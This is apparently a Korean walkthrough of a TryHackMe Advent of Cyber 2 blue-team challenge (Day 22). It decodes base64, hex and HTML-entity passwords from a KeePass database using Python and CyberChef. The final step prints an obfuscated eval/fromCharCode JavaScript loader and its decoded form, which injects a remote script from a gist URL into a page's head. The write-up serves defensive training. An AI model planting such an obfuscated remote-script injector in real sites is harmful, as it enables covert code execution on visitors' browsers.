[TryHackMe] Advent of Cyber ​​2, Day 22 - Walkthrough -

본고에서는 TryHackMe 에서 제공되고 있는 Advent of Cyber ​​2 룸에 대한 공략방법(Walkthrough)에 대해 검증합니다.
"Advent of Cyber ​​2"는 "free room"(무료)에서 제공됩니다. 구독 없이 가상 머신을 "배포(Deploy)"할 수 있습니다.

「Advent of Cyber ​​2」의 Walkthrough 인덱스를 「 [TryHackMe] Advent of Cyber ​​2에 참여해 보았습니다. 」에서 공개했습니다.

[Day 22] Blue Teaming: Elf McEager becomes CyberElf



스토리



지난 며칠, The Best Festival Company 에서 이상한 일이 일어나고 있습니다. 엘프 McEager는 위험에 처한 엔드포인트를 완전히 조사할 시간이 없었으며 워크스테이션 이미지를 다시 작성할 시간도 없었습니다. 엘프 McEager는 백업 시스템 중 하나인 다른 워크스테이션에 로그인하기로 결정했습니다.

엘프 McEager는 로그인을 시도했지만 놀랍게도 암호 관리자에 로그인하지 못했습니다. 마스터 키를 받아들이지 않습니다. 그는 폴더 이름이 이상한 이름으로 변경되었음을 깨달았습니다.

작업



암호 관리자에 액세스하고 CyberChef 을 사용하여 암호 관리자의 값을 디코딩해야 합니다.

Day 22 - #1.



What is the password to the KeePass database?
C:\Users\Administrator\Desktop 위의 폴더 이름에 주목하십시오.


dGhlZ3JpbmNod2FzaGVyZQ==

파이썬으로 디코딩



말미의 == 로부터 BASE64 로 인코딩되고 있는 것을 상상할 수 있습니다. Python 에서 디코딩을 시도합니다.
Python 3.7.4 (default, Aug 13 2019, 15:17:50) 
[Clang 4.0.1 (tags/RELEASE_401/final)] :: Anaconda, Inc. on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import base64
>>> strings = b"dGhlZ3JpbmNod2FzaGVyZQ=="
>>> base64.b64decode(strings).decode()
theg{BLOCKED}here

별해, codecs() 를 사용합니다.
>>> import codecs
>>> strings = b"dGhlZ3JpbmNod2FzaGVyZQ=="
>>> codecs.decode(strings, "base64")
b'theg{BLOCKED}here'

Day 22 - #2.



What is the encoding method listed as the 'Matching ops'?
Day 22 - #1 에서 해결되었습니다. 어떤 처리를 해야 할지 모르는 경우는 CyberChefMagic 를 사용하는 것으로 특정할 수 있습니다.


Day 22 - #3.



What is the decoded password value of the Elf Server?
KeePass를 시작합니다. 이때 Master PasswordDay 22 - #1의 해답입니다.

Elf Server의 암호를 확인하십시오.

736e30774d346e21

숫자와 알파벳 표기법에서 "16진수(HEX)"표기법임을 추측할 수 있습니다.

CyberChef로 디코딩





파이썬으로 디코딩


>>> import codecs
>>> strings = "736e30774d346e21"
>>> codecs.decode(strings, "hex")
b'sn{BLOCKED}n!'

Day 22 - #4.



What is the decoded password value for ElfMail?
ElfMail의 암호를 확인하십시오.

ic3Skating!

「 진수 코드;」의 표기로부터 「수치 문자 참조(Character References)」표기인 것을 추측할 수 있습니다.

CyberChef로 디코딩





파이썬으로 디코딩


>>> import html
>>> strings = "ic3Skating!"
>>> print(html.unescape(strings))
ic{BLOCKED}g!

Day 22 - #5.



Decode the last encoded value. What is the flag?
Elf Security System의 암호가 저장되어 있는지 확인할 수 있습니다.

eval(String.fromCharCode(118, 97, 114, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 116, 121, 112, 101, 32, 61, 32, 39, 116, 101, 120, 116, 47, 106, 97, 118, 97, 115, 99, 114, 105, 112, 116, 39, 59, 32, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 51, 44, 32, 49, 48, 53, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 51, 44, 32, 49, 48, 53, 44, 32, 49, 49, 54, 44, 32, 49, 48, 52, 44, 32, 49, 49, 55, 44, 32, 57, 56, 44, 32, 52, 54, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 49, 48, 49, 44, 32, 49, 49, 48, 44, 32, 49, 49, 52, 44, 32, 57, 55, 44, 32, 49, 48, 53, 44, 32, 49, 50, 50, 44, 32, 57, 55, 44, 32, 52, 55, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 52, 57, 44, 32, 52, 57, 44, 32, 49, 48, 48, 44, 32, 53, 49, 44, 32, 53, 48, 44, 32, 52, 57, 44, 32, 53, 48, 44, 32, 53, 50, 44, 32, 53, 50, 44, 32, 57, 57, 44, 32, 53, 50, 44, 32, 49, 48, 48, 44, 32, 53, 52, 44, 32, 53, 52, 44, 32, 53, 53, 44, 32, 53, 50, 44, 32, 53, 50, 44, 32, 53, 52, 44, 32, 49, 48, 48, 44, 32, 57, 56, 44, 32, 49, 48, 50, 44, 32, 49, 48, 48, 44, 32, 53, 55, 44, 32, 57, 55, 44, 32, 53, 49, 44, 32, 53, 48, 44, 32, 53, 55, 44, 32, 53, 54, 44, 32, 57, 55, 44, 32, 53, 54, 44, 32, 53, 54, 44, 32, 57, 56, 44, 32, 53, 54, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));
eval()를 사용하여 문자열을 fromCharCode()로 처리하고 있음을 읽을 수 있습니다.
문자열은 10進数Comma 문자로 구분합니다.

CyberChef로 디코딩



읽은 특징을 바탕으로 CyberChefFrom Charcode 를 사용하여 변환합니다.


변환한 결과, 새로운 fromCharCode() 블록을 2개 확인할 수 있습니다.
String.fromCharCode(104, 104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 115, 116, 46, 103, 105, 116, 104, 117, 98, 46, 99, 111, 109, 47, 104, 101, 97, 118, 101, 110, 114, 97, 105, 122, 97, 47);
String.fromCharCode(49, 49, 100, 51, 50, 49, 50, 52, 52, 99, 52, 100, 54, 54, 55, 52, 52, 54, 100, 98, 102, 100, 57, 97, 51, 50, 57, 56, 97, 56, 56, 98, 56))

그래서 From Charcode 에 의한 변환을 2회 실시합니다.


Unmaskit Decoder로 디코딩



별도로, Sucuri에서 제공하는 Unmaskit 디코더 을 사용합니다.


eval('var somestring = document.createElement(\'script\'); somestring.type = \'text/javascript\'; somestring.async = true;somestring.src = 'hhttps://gist.github.com/heavenraiza/';   var alls = document.getElementsByTagName(\'script\'); var nt3 = true; for ( var i = alls.length; i--;) { if (alls[i].src.indexOf('11d321244c4d667446dbfd9a3298a88b8') > -1) { nt3 = false;} } if(nt3 == true){document.getElementsByTagName(\"head\")[0].appendChild(somestring); }');

cyberelf 리포지토리로 안내합니다.

안내 대상에서 플래그가 표시되는 것을 확인할 수있었습니다.


이것으로, 22일째의 미션이 종료입니다.

참고 정보


  • base64 --- Base16, Base32, Base64, Base85 데이터 인코딩
  • codecs --- codec 레지스트리 및 기본 클래스
  • html --- HyperText Markup Language 지원
  • 좋은 웹페이지 즐겨찾기